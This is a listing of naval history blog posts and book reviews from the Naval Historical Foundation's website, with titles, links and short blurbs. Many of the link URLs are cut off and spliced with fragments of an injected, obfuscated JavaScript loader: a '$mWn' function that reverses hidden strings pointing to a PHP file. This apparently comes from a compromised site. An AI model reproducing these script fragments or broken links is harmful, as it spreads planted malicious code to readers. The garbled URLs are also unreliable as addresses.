- [BOOK REVIEW - <em>Fire in My Eyes: An American Warrior’s Journey from Being Blinded on the Battlefield to Gold Medal Victory</em>](https://navyhistory.org/2016/07/book-review-fire-in-my-eyes-an-american-warriors-journey-from-being-blinded-on-the-battlefield-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join/) - To those aspiring to serve, who volunteer for EOD or seek a service academy appointment, Fire in My Eyes is mandatory reading before swimming a lap or submitting an app. Through these pages they will truly understand what service is, what one is called to do.
- [HELL BELOW (PART VI) Review: Fatal Voyage](https://navyhistory.org/2016/08/hell-below-part-vi-review-fatal-voyage/) - Reviewed by Stephen Phillips
- [HELL BELOW (PART V) Review: Destroyer Killer](https://navyhistory.org/2016/08/hell-below-part-v-review-destroyer-killer/) - Reviewed by Dr. Chuck Steele
- [Godzilla: The "Lucky Dragon" of Bikini Atoll](https://navyhistory.org/2016/08/godzilla-the-lucky-dragon-of-bikini-a<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssa/) - Guest Post by Kelly Helm
- [<em>Independence</em>-Class Carrier Power Plant](https://navyhistory.org/2016/08/independence-class-carrier-power-plant/) - Guest Post by George Stewart
- [Holloway Society Member Visits Cold War Gallery With Family](https://navyhistory.org/2016/08/holloway-society-member-visits-cold-war-gallery-with-family/) - Holloway Donor Society Member Mike Wallace recently brought his family to the NMUSN's Cold War Gallery to learn lessons on naval heritage.
- [HELL BELOW (PART IV) Review: Atlantic Showdown](https://navyhistory.org/2016/08/hell-below-part-iv-atlantic-show<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/st/) - Reviewed by Steven Dieter
- [Hiroshima Devastation Recalled](https://navyhistory.org/2016/08/hiroshima-devastation-recalled/) - By Dr. David Winkler
- [HELL BELOW (PART III) Review: America Strikes Back](https://navyhistory.org/2016/07/hell-below-part-iii-review-america-strikes-back/) - Reviewed by Hal Friedman
- [Our Introduction to the Knox-Class Frigates in the 1970s](https://navyhistory.org/2016/07/our-introduction-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-s/) - By Capt. George Stewart, USN (Ret.)
- [HELL BELOW (PART II) REVIEW: Hitler's Revenge](https://navyhistory.org/2016/07/hell-below-part-ii-review-hitlers-revenge/) - Reviewed by Dr. David Winkler
- [Post-World War II Destroyer Escorts](https://navyhistory.org/2016/07/post-world-war-ii-destroyer-escorts/) - By Captain George Stewart, USN (Ret.)
- [<em>Hell Below</em> (PART I) REVIEW: The Wolfpack](https://navyhistory.org/2016/07/hell-below-part-i-review-the-wolfpack/) - Reviewed by Matthew T. Eng
- [Sharing Naval History: Students Learn African American Heritage in Hampton City Schools](https://navyhistory.org/2016/07/sharing-naval-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-s/) - Guest post by Pam Neilson
- [BOOK REVIEW - <em>Very Special Intelligence: The Story of the Admiralty’s Operational Intelligence Centre, 1939-1945</em>](https://navyhistory.org/2016/07/book-review-very-special-intelligence-the-s<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-eg/) - Reviewed by Charles C. Kolb, Ph.D.
- [BOOK REVIEW - <em>THE PIRATE KING: The Incredible Story of the Real Captain Morgan</em>](https://navyhistory.org/2016/07/book-review-the-pirate-king-the-incredible-s<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-e/) - Reviewed by William H. White
- [BOOK REVIEW - <em>The Path to War – U.S. Marine Corps Operations in Southeast Asia 1961 to 1965</em>](https://navyhistory.org/2016/07/book-review-the-path-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/regan/) - Reviewed by Charles Bogart
- [BOOK REVIEW - <em>Operation Neptune</em>](https://navyhistory.org/2016/07/book-review-operation-neptune/) - Reviewed by Rear Admiral William J. Holland, Jr. USN (Ret.)
- [World War II Fighter Pilot Jack Taylor Dies: Founded World’s Largest Car Leasing Company](https://navyhistory.org/2016/07/world-war-fighter-pilot-jack-taylor-dies-founded-worlds-largest-car-leasing-company/) - NHF Pays Tribute to Businessman and Friend of NHF Jack C. Taylor of Enterprise Rent-a-Car.
- [Shouldering Incident Reminiscent of Sea of Japan Bumpings](https://navyhistory.org/2016/06/shouldering-incident-reminiscent-of-sea-of-japan-bumpings/) - By Dr. David Winkler, NHF Historian
- [CHOW: The (Navy) Daiquiri](https://navyhistory.org/2016/06/chow-the-navy-daiquiri/) - The popular summertime drink has a curious connection to naval history.
- [Life on a Naval Vessel During the Vietnam War in the 1960s](https://navyhistory.org/2016/06/life-on-a-naval-vessel-during-the-vietnam-war-in-the-1960s/) - Guest post by Captain George Stewart, USN (Ret.)
- [Blood, Bravery, and Intrepid Ships: 5 Epic Naval Battles (PART II)](https://navyhistory.org/2016/06/blood-bravery-part-ii/) - PART II: The Battle of Hampton Roads
- [Blood, Bravery, and Intrepid Ships: 5 Epic Naval Battles (PART I)](https://navyhistory.org/2016/06/blood-bravery-part-i/) - PART I: The Battle of Lake Erie: Symbolism Matters (September 10, 1813)
- [The First U.S. Naval Electric Propulsion Plant](https://navyhistory.org/2016/06/the-first-u-s-naval-electric-propulsion-plant/) - Guest Post By Captain George Stewart, USN (Ret.)
- [FDR’s Vision Fulfilled: A Visit to the National Museum of the Royal Navy](https://navyhistory.org/2016/06/fdrs-vision-fulfilled-a-visit-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/steg/) - NHF Historian Dr. David Winkler discusses a recent trip to the National Museum of the Royal Navy and the HMS Victory.
- [BOOK REVIEW - <em>Medieval Maritime Warfare</em>](https://navyhistory.org/2016/06/book-review-medieval-maritime-warfare/) - Given the widespread lack of knowledge of the vital importance of sea power to Medieval military history, this volume provides its readers with a solid education in the campaigns, broader political and technological trends, and strategic aims of the maritime powers of Medieval Europe, the Levant, and North Africa.
- [BOOK REVIEW - Confederate Saboteurs: Building the Other Secret Weapons of the Civil War](https://navyhistory.org/2016/06/book-review-confederate-saboteurs-building-the-other-secret-weapons-of-the-civil-war/) - For all interested in the naval aspects of the Civil War, Ragan’s latest book is a must read. Confederate Saboteurs advances not only his work in this area, but puts into new context Alex Roland’s Underwater Warfare in the Age of Sail, published in the late 1970s and Milton Perry’s Infernal Machines, The Story of Confederate Submarine and Mine Warfare, published in the mid 1960s – pioneering works in this field.
- [BOOK REVIEW - <em>From Imperial Splendor to Internment</em>](https://navyhistory.org/2016/06/book-review-from-imperial-splen<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/ste/) - I recommend From Imperial Splendour to Internment by Nicolas Wolz for its insights into both German and British morale, its accessible style, and its moderate length.
- [BOOK REVIEW - <em>Privateers of the Americas: Spanish American Privateering from the United States in the Early Republic</em>](https://navyhistory.org/2016/06/book-review-privateers-of-the-americas-spanish-american-privateering-from-the-united-states-in-the-early-republic/) - Head's Privateers of the Americas is a worthwhile library addition to anyone interested in the maritime history of the Atlantic world and Early Republic. It expands the readers understanding of what took place following 1815 with the end of international conflict and the resurgence of Caribbean piracy in the 1820s.
- [BOOK REVIEW - <em>Sea Miner: Major E. B. Hunt’s Civil War Rocket Torpedo 1862-1863</em>](https://navyhistory.org/2016/06/book-review-sea-miner-major-e-b-hunts-civil-war-rocket-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["/) - Veit provides a valuable contribution also by summarizing in good detail the work of a number of Hunt’s contemporaries who pursued similar concepts of underwater rockets and guns. Like Sea Miner, their purpose was fore sighted, to provide a simple and easily produced device to serve the tactical function of the torpedo, in the period before the successful but mechanically complex Whitehead torpedo was developed.
- [Christopher McKee to Receive Knox Medal](https://navyhistory.org/2016/05/chris<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/r/) - The medal will be formally presented at the conclusion of the forthcoming North American Society for Oceanic History conference to be held in Portland, Maine from May 11 to 14, 2016.
- [‘Hammerin’ Hank Mustin Oral History Posted](https://navyhistory.org/2016/04/hammerin-hank-mustin-oral-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegd/) - NHF is pleased to honor Vice Admiral Mustin with the posting of his lifetime recollections of serving in the United States Navy.
- [Dusty Kleiss: A Hero of Midway Remembered](https://navyhistory.org/2016/04/dusty-kleiss-a-hero-of-midway-remembered/) - Remembering Midway pilot Captain Jack "Dusty" Kleiss, 1916-2016.
- [BOOK REVIEW - <em>Syren’s Song: A Connor Stark Novel</em>](https://navyhistory.org/2016/04/book-review-syrens-song-a-connor-stark-novel/) - Claude Berube wrote this fictional novel as a reward to students of naval history. Many of the elegant touches, including the name of the ship, spring from the author's own vivid experience within the United States Navy, where he is currently an instructor at the U.S. Naval Academy, a Ph.D. candidate working on a dissertation on Andrew Jackon's Navy at the University of Leeds, and the author and editor of several nonfiction books on naval history.
- [BOOK REVIEW - From Versailles to Mers-el Kebir: The Promise of Anglo-French Naval Cooperation, 1919-1940](https://navyhistory.org/2016/04/book-review-from-versailles-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdi/) - In the vast outpouring of studies on the Second World War and its origins, little attention has been paid to Anglo-French naval relations. Dr. Melton’s admirable study, drawing as it does on both British and French archival sources, goes far to rectify this oversight.
- [Tuesday’s Buzzing Had Deadly Precedent](https://navyhistory.org/2016/04/tuesdays-buzzing-had-deadly-precedent/) - By David F. Winkler, Ph.D. NHF Staff
- [CHOW: Navy Bean Soup](https://navyhistory.org/2016/04/chow-navy-bean-soup/) - Ham bone soup. Senate bean soup. Navy bean soup. Whatever you call it, it's a delicious Navy tradition.
- [BOOK REVIEW - <em>Devotion</em>](https://navyhistory.org/2016/04/book-review-devotion/) - Devotion is the account of an incredibly selfless heroic attempt by Lt. (JG) Tom Hudner to rescue Ens. Jesse Brown after his Corsair was hit by small arms fire forcing him to make a crash landing in sub zero weather in the mountains surrounding the Chosin Reservoir. It is also the story of the tumultuous retreat and escape of Marine/Army/UN ground troops who had temporarily defeated North Korea, as over a million Chinese troops entered the Korean War against UN forces.
- [BOOK REVIEW - <em>Embassy to the Eastern Court: America's Secret First Pivot Toward Asia 1832-1837</em>](https://navyhistory.org/2016/04/book-review-embassy-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/regana/) - Jampoler, the author of six other books, does a first-rate job of delineating the Navy at this time, the world stage at the time -- Great Britain, France and the Netherlands competing for footholds and trading posts far from their homeland and provides wonderful color of the ports along the Pacific-Indian oceans rim.
- [BOOK REVIEW - <em>The Bridge to Airpower: Logistics Support for Royal Flying Corps Operations on the Western Front, 1914-18</em>](https://navyhistory.org/2016/04/book-review-the-bridge-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reg/) - It seems perfectly normal to consumers nowadays that they are able to demand--and very often get--cutting edge technology that performs without a hiccup from the first day it is introduced without giving any thought to its origins or the means by which it traveled from it birthplace to their pocket. As Peter Dye demonstrates, this was not always so, and its achievement was greatly facilitated by a wartime revolution. This book is well worth the attention of the serious student of the history of warfare.
- [BOOK REVIEW - The Most Dangerous Moment of the War: Japan’s Attack on the Indian Ocean, 1942](https://navyhistory.org/2016/04/book-review-the-most-dangerous-moment-of-the-war-japans-attack-on-the-indian-ocean-1942/) - The author provided ample detail explaining the losses and issues associated with the Indian Ocean Campaign for both sides. Included are several personal accounts, interviews and photographs. Unlike many other narratives of this type, he did not dwell on making excuses for the mistakes made by the fleet command nor beat them down for their decisions. He put it out there for the reader to decide.
- [BOOK REVIEW - <em>The U.S. Naval Institute on The U.S. Naval Academy: The History</em>](https://navyhistory.org/2016/04/book-review-the-u-s-naval-institute-on-the-u-s-naval-academy-the-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};/) - If you have an interest in a “quick read” of the first 150 years of the U.S. Naval Academy at Annapolis I highly recommend this publication especially for the price offered.
- [BOOK REVIEW - <em>The Ingenious Life of Melbourne Smith – One Man’s Revival of Historic Sailing Vessels</em>](https://navyhistory.org/2016/04/book-review-the-ingenious-life-of-melbourne-smith-one-mans-revival-of-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[/) - The book is a splendid and thoughtful read of a man enjoying to the utmost a productive civilian maritime life. Take some time to read this book and then pass it on to your local high school library.
- [BOOK REVIEW - <em>The Kraut: On Being German After 1940</em>](https://navyhistory.org/2016/04/book-review-the-kraut-on-being-german-after-1940/) - The audience the book is written for appears to be members of the author’s family and their extended network of friends. The book is an interesting and inspirational look at one man’s journey from a childhood of poverty, to a life of upper middle class prosperity. The book is illustrated with a number of half tone black and white photos.
- [NHF Celebrates its 90th Anniversary](https://navyhistory.org/2016/03/nhf-celebrates-its-90th-anniversary/) - Members and friends of NHF came together for an evening to celebrate the accomplishments of the Foundation over nine decades and to honor its celebrated leaders.
- [Mysterious Loss of the CONESTOGA Solved (Guest Post)](https://navyhistory.org/2016/03/mysterious-loss-of-the-cones<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdi/) - From the USCS Log, July 2008. USS Conestoga Mystery Solved?
- [U.S. Navy Baseball History Exhibit Opens at Puget Sound Navy Museum](https://navyhistory.org/2016/03/u-s-navy-baseball-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/regan/) - A new exhibit highlighting baseball in the Navy has opened at the Puget Sound Naval Museum in Bremerton, WA.
- [New Masters Degree in Naval History Offered Through Distance Learning at University of Portsmouth](https://navyhistory.org/2016/02/new-ma-in-naval-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam/) - A new MA program in British Naval History to be offered beginning in September 2016 at the University of Portsmouth (distance learning).
- [Building for Victory: Interview with LEGO USS <em>Indianapolis</em> Designer](https://navyhistory.org/2016/02/building-for-vic<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-st/) - An exclusive interview with LEGO ship designer Dave Colamaria
- [BOOK REVIEW - <em>An Officer’s Story: A Politico-Military Journey</em>](https://navyhistory.org/2016/01/book-review-an-officers-s<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/r/) - With his Kentuckiana upbringing, an education that includes a Harvard Ph.D., and real-world experience, Kime has the intellectual chops to provide constructive insights. Unfortunately, I am not sure that this book was the best forum to present them.
- [BOOK REVIEW - <em>Merchant Sailors at War 1943 – 1945: Beating the U-Boat</em>](https://navyhistory.org/2016/01/book-review-merchant-sailors-at-war-1943-1945-beating-the-u-boat/) - The book provides an excellent introduction to the war at sea waged by the Allies against Germany and Italy. All of the books in this series are great starter books for anyone building a library on military actions in World War II. One criticism is that all too often a photo is spread over two pages with detail being lost where the photo sits in the fold.
- [BOOK REVIEW -  <em>A History of the Royal Danish Navy 1510-2010</em>](https://navyhistory.org/2016/01/book-review-a-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-s/) - A History of the Royal Danish Navy 1510-2010 has flaws. It suffers from translation, and is occasionally too superficial. Regardless, as an English-language introduction to the Royal Danish Navy, it is a valuable, and worth reading.
- [A Look at the 2016 HRNM LEGO Shipbuilding Event](https://navyhistory.org/2016/01/a-look-at-the-2016-hrnm-lego-shipbuilding-event/) - Exclusive interview of the upcoming event from HRNM Special Events Coordinator Donald Darcy
- [Bernard F. Gribble Watercolor Donated to Navy Art Gallery](https://navyhistory.org/2016/01/bernard-f-gribble-watercolor-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegd/) - The Naval Historical Foundation recently donated a painting to the Navy Art Gallery by celebrated marine artist Bernard F. Gribble.
- [Pulling Together Pull Together: The Making of an Issue (PART V)](https://navyhistory.org/2016/01/pulling-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cn/) - A blog series by Matthew T. Eng
- [BOOK REVIEW - <em>Toward a New Maritime Strategy: American Naval Thinking in the Post-Cold War Era</em>](https://navyhistory.org/2015/12/book-review-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdi/) - For those readers, and they should include as many folks as possible in government and security circles, who have wondered about whether the Navy has a “strategy problem” or not, a topic of much recent debate, this book will address their curiosity.
- [BOOK REVIEW - <em>Gallipoli</em>](https://navyhistory.org/2015/12/book-review-gallipoli/) - Macleod’s survey is a welcome addition and though saying little new about a particular battle manages to say quite a lot about remembrance and commemoration as a cultural legacy of war. As such, Gallipoli is warmly endorsed.
- [BOOK REVIEW - Harnessing the Sky: Frederick "Trap" Trapnell, the U.S. Navy's Aviation Pioneer, 1923-1952](https://navyhistory.org/2015/12/book-review-harnessing-the-sky-frederick-trap-trapnell-the-u-s-navys-aviation-pioneer-1923-1952/) - The authors were the first individuals I encountered at a recent McMullen Naval History symposium; and the excitement and knowledge for the subject that they displayed in person is readily apparent in the book’s pages.
- [BOOK REVIEW - Tin Can Diary: The War Diary of Earl W. Foxwell, Jr.’s Tour of Duty Aboard The Destroyer USS Edwards, DD 619](https://navyhistory.org/2015/12/book-review-tin-can-diary-the-war-diary-of-earl-w-foxwell-jr-s-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn./) - The easy to follow format chronologically lists events from the original diary recorded by the author’s grandfather. The author intermingled official facts and Navy lore throughout, keeping the drone of a typical personal diary interesting and relevant to the ship’s story.
- [BOOK REVIEW - <em>The U.S. Naval Institute On Naval Cooperation</em>](https://navyhistory.org/2015/12/book-review-the-u-s-naval-institute-on-naval-cooperation/) - This book manages to present multiple perspectives on various controversial subjects, including the desirability and efficacy of increasing formal programs to deal with interaction between U.S. Navy personnel and the naval personnel and civilians of other nations, as well as the case for and against the ratification of the UN Convention on the Law of the Sea.
- [Who Invented the X-Wing? Carrier Ops in the <em>Star Wars</em> Universe](https://navyhistory.org/2015/12/who-invented-the-x-wing-carrier-ops-in-the-star-wars-universe/) - Unless you have been hiding under a rock over the past year, you know about the current hysteria surrounding the release of Star Wars: The Force Awakens this Thursday and Friday. It is the most anticipated film of the year. For many, it’s the most anticipated film in a generation. Everybody is getting involved in
- [Pulling Together <em>Pull Together</em>: The Making of an Issue (PART IV)](https://navyhistory.org/2015/12/pulling-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cn/) - Part IV: Editing with the Bumpuses' Dogs
- [Pulling Together <em>Pull Together</em>: The Making of an Issue (PART III)](https://navyhistory.org/2015/12/pulling-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cn/) - The art of acknowledging you are wrong is the first step in desktop publishing.
- [Noted Historian Weighs in on Recent Naval History Scholarship](https://navyhistory.org/2015/12/chris<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/r/) - This past September, our Digital Content Developer posted a recap of the McMullen Naval History Symposium, which included his own personal thoughts on the state of naval history. The post elicited this essay by long-time NHF member Dr. Christopher McKee. We welcome such dialog on a subject so important to the nation. Please consider joining
- [The Navy’s Love Affair with Celery and Creamed Vegetables: A Navy Thanksgiving Menu Analysis](https://navyhistory.org/2014/11/navy-thanksgiving-menus-vintage/) - They say that the sun never sets on the British Empire. They also say that mayonnaise should never be the principle ingredient in salad.
- [Pulling Together <em>Pull Together</em>: The Making of an Issue (PART II)](https://navyhistory.org/2015/11/pulling-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cn/) - PART II: The Hard Is What Makes It Great
- [Death and Rebirth: 2015 McMullen Naval History Symposium Recap](https://navyhistory.org/2015/09/2015-mcmullen-naval-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reg/) - The rebirth of Naval History.
- [Pulling Together <em>Pull Together</em>: The Making of an Issue (PART I)](https://navyhistory.org/2015/11/pulling-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cn/) - It's not a history project until you weep over it.
- [BOOK REVIEW - <em>Big Gun Battles: Warship Duels of the Second World War</em>](https://navyhistory.org/2015/10/book-review-big-gun-battles-warship-duels-of-the-second-world-war/) - Robert C. Stern has added yet another authoritative work to his long list of titles about naval warfare written over the past thirty years. Having examined submarines, destroyers, aircraft carriers, kamikazes, and the U.S. Navy in Europe, among others, Stern set his sights on big-gun, World War II naval actions.
- [BOOK REVIEW - <em>Long Night of the Tankers:  Hitler’s War Against Caribbean Oil  </em>](https://navyhistory.org/2015/10/book-review-long-night-of-the-tankers-hitlers-war-against-caribbean-oil/) - Using war diaries, first-hand accounts, and primary materials from the German Federal Military Archives and the Deutsches U-Boot Museum, Long Night of the Tankers provides an exciting look at the submarines that caused so much fear and destruction in the North American theater.
- [BOOK REVIEW - <em>Coffins of the Brave: Lake Shipwrecks of the War of 1812</em>](https://navyhistory.org/2015/10/book-review-coffins-of-the-brave-lake-shipwrecks-of-the-war-of-1812/) - Coffins of the Brave is exceptionally and extensively illustrated, with historic images and numerous photographs and drawings, many of them Crisman’s exquisite work. There are also sections with color images. Serious, detailed, and compelling, this is a hard book to put down once you start to read through it.
- [An American Inferno over Vietnam: Violent Skies Symposium Recap](https://navyhistory.org/2015/10/violent-skies-symposium-recap/) - A recap of the VIOLENT SKIES Symposium held at NDU on 15-16 October 2015.
- [PRESS RELEASE - Violent Skies Joint Symposium to Close with keynote speaker Jim Knotts,  Vietnam Veterans Memorial Fund](https://navyhistory.org/2015/10/press-release-violent-skies-joint-symposium-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-e/) - Mr. Jim Knotts, president and chief executive officer of the Vietnam Veterans Memorial Fund (VVMF), is the keynote speaker for Friday evening’s banquet for the VIOLENT SKIES joint symposium.
- [Historical "Murderer's Row" Photograph at Ulithi Update](https://navyhistory.org/2015/09/his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rot/) - Update on a photographic query from 2012 by David Stubblebine of the World War II Database
- [A Conversation with Knox Award Winners](https://navyhistory.org/2015/09/a-conversation-with-knox-award-winners/) - Dr. Kenneth J. Hagan and LCDR Thomas J. Cutler offer their advice to future naval historians during the close to the McMullen Naval History Symposium.
- [Life Member Presents Paper at ICMH in China](https://navyhistory.org/2015/09/life-member-presents-paper-at-icmh-in-china/) - Dr. Edward J. Marolda, a life member of the Naval Historical Foundation, participated in the annual Congress of the International Commission of Military History (ICMH) held in Beijing, China, during the first week of September.
- [In Just Two Simple Paragraphs](https://navyhistory.org/2015/09/in-just-two-simple-paragraphs/) - A guest post by NHF Member and USCS Director Stewart Milstein
- [BOOK REVIEW - <em>Warships of the Great War Era: A History in Ship Models</em>](https://navyhistory.org/2015/08/book-review-warships-of-the-great-war-era-a-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tso/) - Throughout, there are sharp and detailed colour images of the ship models supported by the succinct and authoritative text. This is a very accessible work for both the novice and expert on aspects of warship design in the First World War. It is an essential reference work for research purposes and should be part of any naval library’s collection.
- [BOOK REVIEW - <em>We are Sinking, Send Help!</em>](https://navyhistory.org/2015/08/book-review-we-are-sinking-send-help/) - This book is well researched, tightly written and edited and highly informative. For the history aficionado looking for a highly engaging read on unusual subject matter or for the student of naval history needing a readable compendium of reference material, this is an excellent choice.
- [BOOK REVIEW - <em>The U.S. Naval Institute On Naval Tactics</em>](https://navyhistory.org/2015/08/book-review-the-u-s-naval-institute-on-naval-tactics/) - Although there is no substitute for practice, this book offers a compact but broadly useful guide to naval tactics with a wide historical perspective, as well as thoughtful integration of tactical concerns with issues of strategy and logistics that can provide useful material for thought and reflection for serious-minded naval officers.
- [BOOK REVIEW - <em>With Sails Whitening Every Sea</em>](https://navyhistory.org/2015/08/book-review-with-sails-whitening-every-sea/) - Rouleau is no romantic. What emerges from his scholarly inspection of sailors’ life at sea and liberty ashore in the nineteenth century, and the prejudices they carried with them isn't pretty. It is, however, well-sourced and persuasive. 
- [BOOK REVIEW - <em>Dreadnought: The Ship That Changed the World</em>](https://navyhistory.org/2015/08/book-review-dreadnought-the-ship-that-changed-the-world/) - Roger Parkinson succeeds admirably in achieving a comprehensive multifaceted academic historical analysis of Dreadnought and dreadnoughts for the period up to 1922. For those wanting a historical analysis that goes beyond most others in its breadth and depth, particularly with regard to naval policy, Parkinson’s Dreadnought can be highly recommended.
- [BOOK REVIEW - <em>The Battle for Britain: Interservice Rivalry between the Royal Air Force and Royal Navy, 1909-40</em>](https://navyhistory.org/2015/08/book-review-the-battle-for-britain/) - For those who mistake the Italian Navy’s abilities with Mussolini’s posturing can gain an appreciation of how both sides carried on in the face of difficulties. The stranding of otherwise powerful ships of the Regia Marina for want of fuel is a stark lesson in the importance of logistics. The book is worth reading for these last two chapters alone.
- [The Prize of History: USS <em>Monitor</em> Prize-Money Claims](https://navyhistory.org/2015/08/the-prize-of-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-st/) - Guest blogger Bill Edwards-Bodmer discusses the failed efforts of the crew of USS Monitor to receive prize money for their engagement against CSS Virginia during the Battle of Hampton Roads.
- [<em>Legati ad Defendendam Libertatem</em> - USS <em>John Warner</em> Commissioned](https://navyhistory.org/2015/08/legati-ad-defendendam-libertatem-uss-john-warner-commissioned/) - The newest Virginia-class submarine named after the former Secretary of the Navy was christened last weekend in Norfolk, VA.
- [Cary S. Lindley, Jr.: A “Can Do” Sailor](https://navyhistory.org/2015/07/cary-s-lindley-jr-a-can-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/re/) - A simple email query turned into an interesting discovery of photographs from a Seabee who served during the Second World War.
- [Knox History Prize Awardees to be Honored at McMullen Naval History Symposium](https://navyhistory.org/2015/07/knox-awardees-2015/) - This year's Commodore Dudley W. Knox Award Winners announced.
- [An Early Warning in the Morning: The 2 July Navy Yard Incident](https://navyhistory.org/2015/07/an-early-warning-in-the-morning-the-2-july-navy-yard-incident/) - An account of the 2 July Navy Yard Incident from NHF Digital Content Developer Matthew Eng
